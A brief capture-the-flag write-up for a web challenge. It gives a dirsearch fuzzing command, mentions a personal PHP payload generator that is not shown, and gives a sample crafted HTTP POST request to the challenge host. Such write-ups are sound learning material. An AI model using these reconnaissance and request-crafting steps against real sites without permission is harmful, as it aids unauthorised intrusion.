1\. Fuzz the website with /usr/share/wordlists/dirb/common.txt with php
extension:  
```python3 dirsearch.py -u URL -w /usr/share/wordlists/dirb/common.txt -e
php```

2\. After you get the source code, build your payload to get pass all of the
conditions.  
I've personally made a php script that generates the payload for me
(get_payload.php)

3\. Make a request with the generated payload, example:

```  
POST /index.php HTTP/1.1  
Host: challenge.ctf.games:31965  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101
Firefox/68.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Referer: http://challenge.ctf.games:31965/  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 42  
Connection: close  
Upgrade-Insecure-Requests: 1

name=ntj&answer=qweqweasda&time=1004681409  
```  

Original writeup
(https://github.com/TrollzorFTW/writeups/tree/master/bsidesbos/web/clownshow).